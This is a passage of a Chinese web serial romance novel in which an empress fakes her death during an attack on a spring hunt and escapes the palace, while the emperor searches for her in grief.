再次看向众人的时候,他眼中的温柔已经变成了淡漠。 这边薛弗玉走在回去的路上,此时被风一吹,她倒是觉得清醒了些,她揉了揉自己的额角。 周围不远处都是些来回巡逻的士兵,这时候一名宫人匆匆而来,不小心撞上了她。 素月扶着薛弗玉,指着那名道:“慌慌张张地做什么!” 那名宫人跪在地上磕头,整个人瑟瑟发抖:“娘娘饶命,娘娘饶命!” 薛弗玉瞧着她瑟瑟发抖的身子,对着她道:“罢了,以后小心些,素月,走吧,本宫头有点晕。” 说着越过宫人离开。 等她走远后,那名宫人脸上已经没有了慌张的神情,她趁着不小心撞到娘娘的时候,已经把纸条塞到了娘娘的手中。 将军交给她的第一个任务算是完成了。 第58章 谢敛回去的时候,薛弗玉刚好洗漱完,此时身上穿着单薄的中衣坐在软榻上。 她头上的发髻散了下来,在背后微微卷着,在烛光之下泛着丝绸般的光泽。 营帐中只有她一个,谢敛进来的时候,带进来一点凉风,见她似乎被灌进来的冷风吹得瑟缩了一下,他立刻又放下厚重的帘子遮挡住门口。 “怎么还不睡?”他脱下外衣随意丢在一边,然后走了过去。 这些日子他早已习惯她不等他而先睡觉,尤其今晚她走之后为了演戏给旁人看,他和那些大臣们畅饮到了大半夜才散去。 本以为等回来的时候她已经睡下,不曾想她竟是还没有睡。 薛弗玉才把那宫人交给她的纸条看完销毁,没想到谢敛就回来了。 她暗暗松了口气,幸好她早一步销毁了那纸条。 只要一想起明天就能离开他,她心情都好上了不少,对着他的时候脸上的笑意也自然了许多,她柔声道:“陛下喝了许多酒,可要去让人煮一碗醒酒汤?” 她说着就要起身去唤人。 谁知道男人的手掌按在了她的肩膀上,阻止了她的动作,朝着她温声道:“不用了,我还没醉。” 他的酒量一向就好,且大多时候都是他看着底下的大臣们喝酒,算起来他今晚喝了几杯酒两只巴掌都数得过来。 薛弗玉不信他的话,凑上前去闻了闻,果真如他所说的,他的身上确实没有什么酒味,反而是身上时常带着的檀香淡淡地传来。 难得她主动靠近,谢敛的目光落在她因为轻嗅他身上的味道而皱起的鼻子上,然后往下一滑,落在她饱满红润的双唇。 迟迟没有移开。 “看来陛下没有骗臣妾,是没醉。”她唇边泛起一抹笑意,又重新坐了回去。 花瓣一样的唇瓣随着她说话的时候一张一合,就像是诱人采摘的花朵。 “玉姐姐,你身上好香” 谢敛突然倾身靠近她,不知何时两只手都握住了她的肩膀。 阴影瞬间笼罩住了她的整个身子,她抬眸,正好对上男人深邃的眼眸,里面藏着浓烈的情绪。 她霎时避开他的目光,垂下眼眸,视线扫过他的喉咙时,发现他的喉结上下滚动了一番。 这样的躲避就好像是害羞一般,让身前的男人心神颤动。 见她没有任何抗拒的意思,谢敛弯腰慢慢靠近她,然而就在距离她的双唇只有一指距离的时候,胸膛上很快出现了她的双手。 柔软的手掌紧紧贴在他的胸膛上,右手正好压着他的心脏,掌下心脏沉稳有力的跳动着。 薛弗玉微微往后仰头,与他拉开了一点距离,语气略微带了一点嫌弃:“陛下,您还没有洗漱。” 不是硬邦邦的拒绝,只是单纯地嫌弃他没有洗漱。 以为他会因为她的嫌弃而松手,谁知道片刻她听见男人在她耳边低低笑了一声,接着道:“玉姐姐,这里不像在皇宫里,没有那么多的热水给我沐浴。” 薛弗玉瞪大眼睛,知道他就是在耍赖,明明她方才都能沐浴,虽然不如宫里,但是给他们洗漱的热水还是有的。 谢敛趁着她愣神之际,手掌抚上她的侧脸,额头与她相抵,与她低声道:“玉姐姐,我现在可以亲你么?” 问出这话的时候他的语气中带着小心翼翼,仿佛她是世上最珍贵的珍宝,生怕自己一个不小心就唐突了她。 不知为何,对上这双近在咫尺的墨玉似的黑眸,窥见里头带着的珍爱之意后,薛弗玉的心似乎在某一瞬悸动了一下,但是很快又被她给强行压下。 到了如今这种地步,她不会让自己再心软。 “陛下还是先去洗漱吧。”她偏头不去看他,再次拒绝。 她这副油盐不进的样子落在谢敛的眼中,让他那颗好不容易活跃起来的心跟着渐渐冷了下去。 薛弗玉不愿去看他失落的神情,直到覆在身前的阴影突然消失,她也终于松了一口气。 帘子被掀开又落在的声音响在耳边,片刻后,她抬头望门边看去。 屋内已经没有男人的身影。 她不知道他是去洗漱了,还是去做什么。 既然注定要离开这里,自然要狠心一点,昭昭她都能舍得留下,更何况是这个男人。 她闭了闭眼睛,再次睁开的时候,双眼已经变得平静无波。 营帐外的虫鸣声不间断的鸣叫着,她褪下鞋袜躺在了榻上,半晌之后已经睡着。 等谢敛洗漱完回来的时候,榻上躺着的女子已经熟睡。 这回是真的没有等他。 他唇角往下压了压,最后没忍心吵醒她,吹灭蜡烛小心在她的身边躺下。 借着外头的火光,依稀可以看清她熟睡的模样。 这一次她没有背对着他,而是安静地平躺在榻上。 他单手撑起身体,静静看着她,就好像要把她的样子深深刻在心里。 也不知道怎么了,他这几天总是会感到心神不宁,就好像有什么事情将要发生。 这样患得患失的感觉让他觉得自己都不像自己了。 他沉默地在心里描绘着她的样子,良久,他慢慢俯身在她额上轻轻吻了一下,然后才重新躺了回去。 等他闭上眼睛的时候,身边女子缓缓睁开了眼睛。 方才那带着珍视的一吻,让她的心情变得 复杂,最终她只是在心里叹了口气,又重新闭上了眼睛。 已经迟了 翌日一早,薛弗玉被谢敛的声音叫醒。 “玉姐姐,起床了。” 男人低沉沙哑的嗓音在她的耳边缓缓响起,她一直没醒来,他就一直耐心地唤着她。 直到看见薛弗玉的眼睛睁开,男人的唇角也跟着往上扬起,把人直接给抱了起来。 被他抱了个满怀,闻着他身上的味道,薛弗玉脑子还是蒙蒙的,直到男人小心将她放在妆奁前,亲自找来衣裳替她穿戴好的时候,她才清醒。 她的脸上露出意外的神色,甚至还有震惊,就在谢敛拿起梳子准备替她梳头发的时候,她的手终于还是忍不住按住了他:“陛下,这些事不用劳烦您,还是让宫人来吧。” 谢敛好不容易见她脸上露出这样生动的神色,他的心情也跟着好了许多,坚持道:“我从来没有帮你梳过头,今早就让我来替你梳头,等我帮你梳顺了,再让她们进来给你挽发髻。” 他深有自知之明,知道自己不会挽女子的发髻,自然是不能帮她。 虽然心中有遗憾不能亲自帮她挽发髻,但是能给她梳头,也是一件不错的事。 她的发丝柔软顺滑,握在手中就像是上好的绸缎,让人爱不释手。 薛弗玉从镜中看见身后的男人,那张俊美的脸上是异常认真而温柔的神色。 看着他仔细地帮她梳头发,渐渐的,她只觉得心脏深处慢慢涌出阵阵的酸涩,最后又化成点点无奈。 “好了吗?” 不知道过了多久,身前的女子轻声问。 即便是舍不得放开她的发丝,但是谢敛知道今日是特殊的日子,他不能继续和她呆在这里。 索性等今日的事情结束之后,他就能彻底没有束缚,剩下的所有时间可以和她日日相对到老了。 “我去让她们进来服侍你。” 他恋恋不舍地把梳子放在她的身前,在她看不见的地方,他的手中藏着几根方才帮她梳头时从她的头上掉下的青丝。 薛弗玉没有回头看他,安静地坐在原地没有动。 直到素月带着几名宫人进来时,她才回神。 “娘娘,奴婢替您梳头。”素月拿起梳子。 只是就在她要动作的时候,却被薛弗玉给制止了,“直接挽头发吧,方才陛下已经替我梳过了。” 原本进来看见她穿好了今日的衣裳时,素月还有很是诧异,直到听见这句话的时候,包括她在内的几名宫人都惊得张大了嘴巴。 她们只知道陛下宠爱娘娘,却不想陛下竟是能做到这种地步。 看来她们娘娘果真如外面那些人所说的一样,是陛下放在心尖尖上的人儿。 宫人们恭维的话纷至沓来。 薛弗玉听了却没有半点的高兴,她想着就算是谢敛真的把自己放在了心上,她也不在乎了。 如今的她只想彻底离开他,回去那个她心心念念的故乡。 等她出来后,谢敛带着她前往春猎的围场。 为了不让巫溪山的猛兽伤及春猎的人,围场早在半个月前就被清理了一番,里面的野兽也都是些小型的兔子狐狸和鹿等动物。 谢敛身为皇帝自然是不用亲自上阵的,然而薛弗玉这时候才注意到,今日的他竟是穿了一身干脆利落的衣裳,背后背着弓箭,素日宽广的袖子也变成了箭袖,头发被束成马尾搞搞扎在脑后。 方才在营帐许是满脑子都是离开的事情,所以并未留意他的穿着。 薛弗玉看着他对着众人说了几句话,很快就翻身上了一匹黑色的高头大马。 她仰头看着坐在马上的男人,只觉得此时的他像极了少年时候的他。 阳光刺得她眼睛生疼,她按了按有些发酸的眼角,对着他轻声道:“那些畜牲不通人性,陛下定要小心。” 也不知道她指的是什么。 谢敛听到她关心的话,对她扬起一个笑,对着她扬声道:“玉姐姐,等我猎了狐狸给你冬天的时候做新的衣裳!” 说完也不等她回答,双腿一夹马腹就冲了出去。 身后的那些少年子弟见状,也纷纷策马扬鞭跟了上去。 薛弗玉盯着那道身影,直到深入林中彻底看不见了,她仍旧没有收回目光。 若是没有发生那些事,若是 她最终摇了摇头,毫无留恋地转身离开。 “臣女拜见皇后娘娘。” 才走了几步,薛弗玉就碰上了崔婉。 如今因为谢敛的圣旨,崔婉成了宋璋的未婚妻。 薛弗玉心中对她有几分的愧疚,对着她道:“不必多礼。” 崔婉不留痕迹地打量着薛弗玉,脸上露出笑意:“娘娘一个人吗,臣女可以陪着娘娘一起逛逛吗?” 薛弗玉想起薛岐在纸上提及的事情,知道这种时候不能随便走动,最好就是呆在营地附近耐心等待,且她也没什么心情散心。 “不用了,本宫身子不适,崔姑娘自便。” 被她婉拒,崔婉倒是没有任何的失落,只是露出担心的神色:“娘娘身子不适,可要请太医看看,臣女方才看见张太医就在不远处,臣女去帮您把他叫来。” 她这样热情,弄得薛弗玉都不好意思了,只能道:“不用了,让我的宫人去就行。” 这里离营帐不远,她出来的时候身边只带了素月一人,碧云被她留下帮她处理一些事情。 素月会意,很快就去找张太医。 “站在这里怪晒人的,娘娘,不如去那边走走,那边风景不错,等素月姑姑带了张太医来,正好在那里替娘娘诊脉。” 崔婉指了指不远处的地方,那边生了好些高大的树木,树下的草地上还开了好些淡粉色的野花,风景确实不错。 薛弗玉站在太阳底下久了,确实如崔婉所说的被晒得有些头晕,她点头:“那便去那边吧。” 走了一刻钟的时间,她们终于到了林荫之下。 这地方方才看着不远,没想到走过来的时候竟废了些时间。 这里环境安静,微风伴随着小鸟清脆的叫声,倒是真的让人的心情一下就舒畅了起来,从昨晚到方才一直郁结在心中的那口气,慢慢地就散去了。 薛弗玉脸上露出一抹笑意:“这里倒是不错。” 崔婉扫了一眼周围,发现巡逻的士兵都在远处,她脸上笑突然收了起来,手上不知何时握上了一把匕首:“那么娘娘死在这里也会快乐的,对吧?” 说着拿着匕首直直地刺向她的脖颈。 然而还未碰到她,崔婉的手就已经被暗卫给攥住,稍一用力,她手上脱力,匕首掉在地上。 薛弗玉冷静地看着她,脸上没有任何的意外。 “崔姑娘,刺杀皇后是大罪,看来你根本不在乎你的家人。”她道。 她本就对这个频频示好的少女存了一点戒心,没想到今日竟是让她露出了马脚,她不关心对方想杀她的目的是什么,只是借着崔婉行刺一事想要确认自己的猜测,谢敛果真在她的身边安排了暗卫。 真如阿弟所说。 崔婉没想到自己唯一的机会就这样没了,她脸上露出不甘心的神色:“当年若不是薛将军逼着陛下立誓不纳妃,我姐姐何至于被人嘲笑最终郁郁而终,这一切都是因为你们姐弟二人!” 薛弗玉脸上露出诧异的神色,过了一会,她终于明白了为何谢敛在登基前,会突然对她转变了态度。 原来竟是因为这个。 “把她带下去,如何处置让陛下定夺。”薛弗玉道,她并未全信崔婉的话,单单只是因为这个,她犯不着要冒这么大的风险来刺杀她。 这样的方法根本就不可取。 大约还有别的隐情,临走前就当替谢敛做这最后一件事。 暗卫的身份已经暴露,薛弗玉不知道她的身边还有没有别的暗卫,最终只能折返回营帐中。 此时的猎场也陷入了诡谲的寂静中。 谢敛勒马停住,耳边响起箭矢破空的声音,他下意识偏头,正好 躲开朝着他射来的冷箭。 这么快就来了? 眉头皱紧。 果然不一会儿就出现了好几名拿着弯刀的刺客,这些人的身手和上次上元夜的不同,完完全全就是突厥人。 陆骞的人早就准备好,等他们把这几个突厥人制伏后。 谢敛却突然察觉到了不对劲。 “快回营地那边!”—— 作者有话说:下章跑路[求你了] 第59章 薛弗玉回到营帐的时候,碧云正在替她准备东西,已经帮她收拾出一个包裹。 其实要准备的东西并不多,谢敛赏赐给的她的那些,她全部都留给了昭昭。 而她嫁给谢敛时带进宫的嫁妆,大多都在旧宫的时候为了生存花光了。 只剩下零碎的一点不值钱的玩意儿。 “娘娘,这些东西可要带走?” 碧云知道她即将离开,所以说话时带了不舍。 薛弗玉看见她替自己装好了一个包裹的东西,她摇头道:“辛苦你了,只是带着这个容易引人注意。” 碧云担忧道:“可是娘娘,若是什么都不带——” 薛弗玉笑了笑:“我还有阿弟呢,不用担心。” 最终她打算什么也不带走。 不多时,素月带了张太医前来给她看诊,等张太医离开之后,薛弗玉对着她们道:“你们出去吧,本宫累了。” 所有人出去后,不一会儿,又有一名宫人端了洗好瓜果进来。 “皇后娘娘,这是刚洗好的新鲜水果,娘娘可要现在吃?” 陌生的声音传来,薛弗玉抬眸看去,发现这名宫人有些眼熟。 很快她就反应过来,是昨夜撞到她给她塞了纸条的宫人。 “是你?”薛弗玉讶然。 看来是时候离开了。 宫人朝着她走去,半跪下道:“启禀皇后娘娘,是将军命令属下前来襄助娘娘。” 素月与碧云站在门口守着,她瞧着方才松瓜果进去的宫人有些面生,且进去那么久还不出来,她转身就想撩开门帘进去。 却被碧云给拦住了:“怎么了,娘娘在里头休息,进去做什么?” 素月道:“方才那宫人进去有些时候了,怎么还没有出来,我去瞧瞧。” 碧云知道那宫人定是和娘娘有所联系,所以并不能让素月进去坏了娘娘的事,她拉着素月的手道:“她不是送瓜果进去的?许是在伺候娘娘用瓜果吧,娘娘若是想要用到咱们,自然会叫咱们的。” 这些小事娘娘很少会吩咐她们二人去做,一般都是些小宫女做的。 素月觉得碧云说得似乎有道理,渐渐地也放下心来,歇了要进去的心思。 一盏茶后,那小宫女出来了,她对着她们两位行礼,又干脆利落地转身离去。 素月盯着那道离去的背影,思索道:“我怎么感觉她的背影看着有些莫名的熟悉?” 熟悉得就好像是身边的谁一样。 碧云看着那道逐渐消失的背影,打断她的思绪:“自陛下登基以来,宫里来来回回都是这些人,你看着熟悉也不奇怪。” 素月点头:“也是。” 她正想继续说什么,却被远处突然传来一声大喊打断了。 “陛下在林中遇刺,你们快跟着我前去护驾!” 这一声惊动了周遭的所有人。 素月和碧云对视一眼,立刻换上严肃的神色掀开帘子进去。 进去后发现薛弗玉也从榻上坐了起来。 “娘娘,大事不好了!陛下在猎场遭遇了刺客!”素月担心道。 却见榻上的女子并未有任何担心的神色,只听见她道:“陛下身边自有保护他的人,那些刺客多半伤害不了他一点。” 她说话时声音带着微微地沙哑,像是刚睡醒。 “娘娘说得有道理,且着猎场周围全是巡逻的士兵,那些刺客再怎么厉害也双手难敌四拳。” 碧云也在一旁分析道。 帐子外人来人往,很快就有好些士兵守在了帐子前。 看着外面守着的人影,素月碧云二人皆是放下心来。 然而没过多久,空中突然响起数道箭矢破空的声音,接着是箭矢没入血肉的声音,有坚守在营帐前的士兵不慎中箭倒下。 薛弗玉眼神瞬间变得锐利,没了方才的温和,她利落地一脚踹翻帐中的桌案,上面的瓜果顿时滚到了地上。 她把桌案翻起做盾挡在身前,有伸手拉住还在震惊的素月和碧云蹲到桌案前。 “在这里躲着不要乱动。”她正色道。 素月还处于惊吓中,觉得娘娘似乎和以前不一样,就好像突然变了个人,尤其是眼神,是和从前完全不同的狠历。 “娘娘……”她看着身边冷静沉着的女子,忍不住张嘴。 女子听到她的声音,立刻对她比了个噤声的手势。 原以为那箭矢会直接射进营帐中,等了一会儿,却见他们只是射杀了营帐前的士兵。 薛弗玉立刻感觉到了不对劲的地方。 果然不会营帐门口就有兵器相接的声音,有血撒在白色的帐子上。 素月双手紧紧捂着嘴,瞪大眼睛看着在帐子上开出的血花瞬间瞪大的了眼睛。 “别怕。” 碧云虽然也害怕,但还是努力让自己的声音听起来正常,出声安慰她们两个,然而等她看向被她们护在身后的薛弗玉时,却见她脸上是淡漠的神色,平日里温柔的眸子里只剩下冷静。 没有一点儿慌乱害怕。 直到帐子被人一刀划破。 碧云脸色一变,她道:“糟了!” 进来的人虽然蒙着半张脸,可是从那双深邃的眼窝就能看出,眼前的人并非是他们中原人的长相。 是西北境外的蛮族! “皇后娘娘,别来无恙。”男人的声音在账中响起。 他的目光落在桌案后的薛弗玉身上,里面带着贪婪的神色。 薛弗玉抿唇,没有要回答他的意思。 素月和碧云即便是害怕,也不得不站起来挡在她的身前,迎上男子:“我们不会让你伤害皇后娘娘的!” 说完她们看见男人的弯刀上滴着鲜血,吓得脸色又白上了几分。 “中原的女子,倒是色厉内荏。”男人早已看出了她们的害怕。 “你想做什么?” 被她们挡住的薛弗玉目光越过身前二人对上男人,平静地问。 男人见她没有一点害怕,反而这种时候了还能保持冷静,心中又对她的兴趣又浓了几分。 “皇后娘娘倒是与她们不同,怪不得能让在下惦记这么多年。” 他看着她的目光带着明晃晃的占有与侵略,让后者忍不住蹙起了眉头。 营帐外短兵相接,帐子里却是诡异的安静。 不多时,只听见外面传来一道她们听不懂的异族语言。 薛弗玉听见后皱眉。 只见眼前的男人双眸微眯,他分出一部分人前去猎场拖延时间,更多的人则与他一起潜入这里,明面上他的目标是刺杀大周皇帝,实际上他的目标是要掳走眼前这位大周皇后。 只是没想到他的人这么快就被大周皇帝的人给杀了,眼前他们怕是已经发现了他的调虎离山之计。 他顾不得那么多,想要速战速决,然而不等他出手,身后出现悄无声息出现一名暗卫。 很快与他打在了一起。 暗卫身手非凡,男人渐渐不敌,他看了一眼已经被带着退到角落的薛弗玉,再一次挡住暗卫的攻击之后,他灵活地从怀中掏出一把药粉撒在空中。 “屏住呼吸!”薛弗玉的话才说完没多久,头开始变得昏昏沉沉。 暗卫原本也是在他撒出来的一瞬间屏住了呼吸,结果还是中招了。 素月和碧云早已倒在地上。 这药粉竟是碰到一点就会起作用! 那训练有素的暗卫 因为离男人最近,所以中的药最多,根本撑不了几息就倒了。 薛弗玉摇摇晃晃地站着,她扶住一旁的架子,努力让自己保持清醒。 “你到底是谁,潜入这里到底有什么目的?”她喘着气问道。 男人见她中了药竟还能坚持到现在,不免有些意外,但同时也更加的欣赏她。 “娘娘贵人多忘事,那日还在春郊林间对着在下射箭,想要在下的命,怎么这么快就忘记了?”说着已经到了她跟前。 他说话的时候对着她抬手,想要触摸她的脸,结果被她偏头躲过。 对于她的躲避,他没有生气的意思反而对更是激起了心底的征服欲,想要得到她占有她的情绪愈发的强烈。 “陛下的人就要来了,你若是不想死就放了我们赶紧离开。” 男人一愣,他道:“你能听懂突厥语?” 方才他的手下与他说的就是前半句话,不然他也不至于情急之下对他们用药。 眼前的女子不回答他的话,想要继续拖延时间,但是很快她眼前逐渐昏暗,她勉强道:“不要伤害她们。” 她看出了男人喜欢皇后娘娘,为了不牵扯到无辜之人,在昏迷前只能说出这话。 男人如愿看见她倒在自己的怀中,原本想要杀了屋内的其余人,却想到她晕倒前软绵绵的话,举起的手又放了下去,他褪下她的外衣,利落地把人扛在肩上出了营帐。 马匹就在不远处,在其余人的掩护之下,他很快上了马,带着薛弗玉冲了出去。 谢敛赶来的时候正好看见这一幕,目呲欲裂道:“玉姐姐!” 他什么都没想,扬鞭策马追了上去。 “陛下!” 陆骞也带着人跟了上去。 穆然身前的女子在马背上颠簸着,渐渐地醒来,只是她中了药,身上的力气被抽走了大半,若是在此时与他对上,没有任何的胜算。 她只能暗暗给自己积攒力气。 听着耳边呼啸而过的风声,她的眉头皱得更紧了,将军之前与她说,这些突厥人是冲着陛下去的,为何又把皇后娘娘给掳走了? 且看这样子倒不像是为了把皇后娘娘当做人质的样子,这种做法更像是突厥人惯有的作风,把看上的女人直接掳走回自己的地盘。 不知道过了多久,身后渐渐响起了别的马蹄声。 “看来大周皇帝很是爱重皇后啊。” 她听见身后的男人道。 马被一箭射伤,她和男人被迫从马背上摔在了地上,她挣扎着站起来的时候,才发现眼前竟然是数十丈高的断崖,断崖之下是流动的河水。 不等她有所动作,她又被人扯着走到了断崖边上,穆然看了眼追上来的谢敛,嗤笑一声:“真是可惜,好不容易得到了你。” 她一抬头,正好看见谢敛带着人马停在了十几丈远的地方。 “放了她。” 他下马对着穆然的命门张开了弓,箭矢泛着幽幽冷光。 穆然完全没有穷途末路的感觉,他的弯刀抵在薛弗玉白皙的脖颈上,脸上带着笑道:“没想到大周皇帝还是个情种。” 谢敛瞧见带血的弯刀碰到薛弗玉的脖子,又见她发白的脸色,神色恹恹,他的双眸顿时像是淬了寒冰,语气冰冷:“朕再说一次,放了她,否则朕会让你死无葬身!” “皇帝陛下要是让我死无葬身,我倒是不介意拉着皇后娘娘陪葬,皇后娘娘生得这么美,照你们中原人所说的,到底了底下正好和我做一对鬼夫妻。” 穆然像是没有被威胁到一般,说话的期间还用另一只手摸上了她的脸。 女子嫌恶地想要躲开,然而那把抵在她脖子上的弯刀让她不敢轻易动弹。 他才碰到她的脸,咻地一声,一支羽箭擦着他的手臂而过,划破了他的袖子。 “不许碰她!” 对面带着怒气的声音伴随着羽箭破空的声音一道响起。 穆然没想到他竟敢轻举妄动,脸色一沉,抵在女子脖颈上的弯刀用了点力气,瞬间在她皮肤上割开了一道口子。 “皇帝陛下,皇后娘娘还在我的手中,要是不想她继续受皮肉之苦,最好还是不要这么冲动。” 许是不敢赌皇后在皇帝心中的份量,他脸上已经没有了方才的游刃有余。 说话间,他带着女子又往断崖边退了几步,最后在只剩几步的距离停了下来。 谢敛早已心急如焚,生怕这个突厥三王子真的会把薛弗玉推下去。 “你究竟想要什么?”半晌,他似妥协道。 穆然听见他的话,笑了笑:“自古英雄难过美人关,看来皇帝陛下也是,我要您的命换皇后的命,你答应吗?” 一旁的陆骞立刻道:“三王子,你若是放了皇后娘娘,我们大周可放你一条生路!” “好,我答应你。” 却不想身边的男人说出了这话,陆骞脸上难得露出焦急的神色:“陛下不可!” 说着他见谢敛把手上的弓箭交到了一旁的士兵手中,他身上除了弓箭之外,没有带任何的武器。 穆然见此笑道:“真是让人感动。” 他紧紧盯着慢慢朝着他走来的皇帝,全然没有注意道怀中的女子脸色变得沉重。 眼看着谢敛离他们越来越近,女子利用巧劲儿从穆然的怀中脱身而出,身后的男人见状想去拉住她。 谢敛也想上前护住她,然而就在这时,不知道从哪冒出的突厥人对着他们放箭,尤其是以谢敛为目标。 谢敛从袖中抽出匕首遮挡,却见一支箭矢朝着薛弗玉的身上射去。 “玉姐姐!小心!”他猛地上前,却被另一支箭拦住脚步。 穆然阴沉着一张脸,他不是说了不许伤害大周的皇后,这些人在做什么! 箭矢擦着女子的侧脸而过,在她脸上留下了一条血痕。 她脸色一变,身体下意识后退几步,在抵到悬崖边的时候堪堪稳住。 双方很快混战在一起。 谢敛一边劈开朝着他射来的箭矢,一边艰难地向悬崖边的女子走去。 穆然的人到底不如大周士兵多,眼见他的人接二连三倒下,他见状趁机拽住悬崖边的女子。 与此同时陆骞的箭矢对准了他。 破空声再次响起,噗地一声,羽箭没入身体的声音在女子耳边响起。 接着感觉一道极大的力气拽着她往后倒去,被一旁的男人带着掉下了悬崖。 最后只看见对着她伸出手,想要抓住她的男人瞬间瞳孔骤缩,猩红了眼睛。 “玉姐姐!!!” 撕心裂肺的声音响彻山谷—— 作者有话说:你们不会女主跑了就不看了吧,别走[抱大腿][抱大腿][抱大腿] 第60章 薛弗玉坐在马车里,直到离开巫溪山,离京城也越来越远的时候,她才动手把脸上易容的面具给揭了。 楚莹瞠目结舌地看着眼前普通的少女变成貌美妇人,一时之间睁大了眼睛。 她原本还纳闷薛岐说让她带走皇后娘娘,谁知道上来马车的人只是一名普通的宫女,那车夫二话不说就驾着马车走了,她差点就要急哭了。 却没想到这宫女竟然就是皇后娘娘伪装的。 薛弗玉瞧见少女震惊到张大嘴巴,她对着少女温柔一笑:“吓到了你吗?” 楚莹立刻猛地摇头:“没有 没有,民女只是没想到,皇后娘娘会以这样的方式出现在这里,民女即将回老家,薛将军说了皇后娘娘与民女同路。” 说着她拿出一个包裹给薛弗玉:“这些是将军给娘娘准备的衣物和盘缠,还有一份属于娘娘的路引,说娘娘路上能用得上。” “如今我已不再是皇后,表妹不用再这般称呼我,这一路上我们便以姐妹相称吧。”薛弗玉心中感动,接过包裹时说道。 薛弗玉知道薛岐能安排妥当,所以走的时候连碧云给她准备的东西也没有带上,这反而能让人放松了警惕,她唯一担心的就是那名假扮成自己的女子会不会有事。 楚莹似乎看出了她的心事,解释道:“皇,表姐不用担心那位赵姑娘,她的身手很好,尤其是善用轻功,她会没事的。” 当初她可是亲眼看着赵姑娘从十几丈的高地一跃而下,还能稳当落地的。 赵姑娘是薛将军军营里训练出来的,身手还是其中的翘楚,想来大约不会遇到什么危险,楚莹在心里默默替她祈祷。 薛弗玉心中到底是有些不安,薛岐得到了突厥人的计划,而谢敛自负,想要将计就计,她便借着他们这一次的刺杀混淆谢敛的视线,彻底离开谢敛。 但她到底是担心谢敛会很快发现那名假扮她的姑娘,然后让人追了过来。 “还要多久到清安镇?”薛弗玉问。 楚莹道:“还有三个时辰就能赶到。” 到了清安镇,就彻底远离了京城的范围,这里不再受京城管辖,她们从这改道回西北。 薛弗玉的从怀中拿出一个玉质的长命锁紧紧握着,听了她的话微微往后靠着马车,一颗心也逐渐归于平静。 她从来没有想过自己要用这样的办法离开京城,离开谢敛。 想起昨夜那双带着爱意看向自己的眼睛,她无奈地在心里叹了口气。 “表姐,这个是公主的东西吗?” 楚莹发现她掌中握着精致的长命锁,小声地问。 提到昭昭,薛弗玉脸上露出温柔的笑,她的双目也跟着柔和不少:“这是昭昭出生到一岁时戴在身上的,是她父皇亲手给她打的。” 也不知为何,她鬼使神差地把这块有他们父女印记的长命锁带在了身边。 楚莹羡慕道:“这么精致,一定花了不少的心思。” 薛弗玉怔然,她其实记不太清谢敛到底用了多久的时间做的,只是在得知她怀上昭昭的时候,他似乎就开始寻找适合的料子,终于在她怀胎六个月的寻到。 最终似乎花了一个多月还是两个多月的时间才打磨好。 掌中的玉锁带着温润的质感,可惜因为昭昭两岁的时候将绳子扯断了,从此就没有戴在身上了。 这块玉锁一直放在她的凤鸾宫,出发巫溪山的前一晚,她什么都没带走,唯独从妆奁的暗格中将它拿走了。 她唇角的笑意淡了下去,不再去想那些。 既然决定了要离开,那么就注定不能再有任何的牵挂。 不管是昭昭,还是旁的 春猎因为皇帝遇刺而在第四天的时候草草结束,在场的有些大臣的家眷也受到了不小的惊吓,甚至还有人为此受了伤。 幸而行刺的突厥人全部都被抓住,只有那突厥三王子掉下了悬崖不见踪影。 “听说皇后娘娘受了极大的惊吓,直接病倒了?” “可不是,陛下爱重娘娘,所以才会这么着急就回宫,就是为了让娘娘回去好好养病。” “陛下待娘娘真的是情深义重啊。” “可不是,如今陛下为了亲自照顾皇后娘娘,还特意与皇后娘娘同坐一辆马车。” “当真是可歌可泣。” 周遭传来的声音都入了宋璋的耳中,他脸上难得没有温和的神色,看向马车外的眼神泛着冷光。 以他对阿弗的了解,阿弗必然不会被区区行刺给吓到生病,这其中一定是有什么他不知道的事情发生了。 他掀开前头的帘子,视线穿过长长的队伍落在走在最前头的马车上,他死死地盯着那辆豪华的马车,似乎想要看穿里面到底是什么情景。 最前头的马车里。 里面除了素月和碧云二人之外,就只有谢敛一个人。 哪里还有他们口中皇后娘娘的身影。 男人的脸色带了疲惫,他的手中还拿着从薛弗玉掉下悬崖时,从头上掉下的一支紫牡丹绢花。 他记得这是她平日里经常戴在头上的。 至今他都忘不掉那日她被人扯着掉下悬崖的场景,只要一闭上眼睛,那令人不敢回想的画面就会重复在脑中上演。 即便是他亲自带着人在崖低周围,甚至顺着河流找了几天几夜,可除了血迹之外,再也没有找到任何的东西。 更别说是人。 底下的人都猜测他们二人是落入了河中,才会连尸体都没有。 活要见人死要见尸,若不是京中还有突厥残余的势力在等着他回去清算,他如何也不愿意离开。 是他的自负害了玉姐姐,他不该让玉姐姐陷入危险之中。 只要一想到她往后倒下悬崖时的看向他的眼神,他的心就像是被无数锐利的刀尖扎入,疼到他几乎要喘不过气来,他紧紧握着手中的珠钗,掌心被刺穿到流血也感觉不到。 心里的痛楚让他感觉不到身体带来的疼痛。 “陛下,你的手!” 素月瞧见有鲜血从他的指缝中流出,白着一张脸惊呼。 碧云却拉住了她,对着她摇了摇头。 三日前她们二人见陛下失魂落魄地回到营帐,还没开始询问皇后娘娘的下落,就听见他说皇后娘娘受了惊吓,这几天不能出这个营帐,谁来也不见。 可皇后娘娘分明不在营帐中,很快她们二人就明白了,皇后娘娘大约是出了意外,连陛下都无能为力的意外。 二人哭过一通之后也不敢问到底发生了什么。 倒是碧云在难过之余渐渐想起了那名送瓜果给娘娘的宫女,良久,她很快就明白了,那名被歹人掳走的“皇后娘娘”,应当是那名宫女伪装而成的。 眼下她不知道娘娘有没有成功逃出京城,只能盼望着陛下不要那么快就发现娘娘逃跑了。 素月还沉浸在皇后娘娘出事一事上,被碧云阻止之后,只能红着一双眼睛发呆。 回到宫里,谢敛马不停蹄又召见了陆骞。 “继续加派人手去寻找皇后,活要见人死要见尸,只要能找到皇后的,全部重重有赏!” 男人的双眼布满了血丝,声音带着沙哑,一看就是这几天都没有好好睡觉。 陆骞那天也是亲眼看着薛弗玉被中箭的穆然拉着一起掉下悬崖,他并不想伤害皇后娘娘,然而却连累了皇后娘娘,他的心里到底是对皇后娘娘有愧。 “臣定当竭力寻找。”陆骞道。 “除此之外,三日内,让人把京中所有的暗桩都拔除。”谢敛冷声道。 三天?陆骞愕然,可一对上那双带了阴鸷的眼眸,又只得领命。 等陆骞离开之后,李德全忙拿出金疮药给他,想要亲自替他上药。 谢敛这一次并未拒绝,只是看着头发已经花白的李德全,静静道:“小安子是突厥细作。” 李德全闻言,给他处理完伤口之后,叹了口气,然后走到大殿中跪下:“奴才识人不清,还请陛下责罚。” 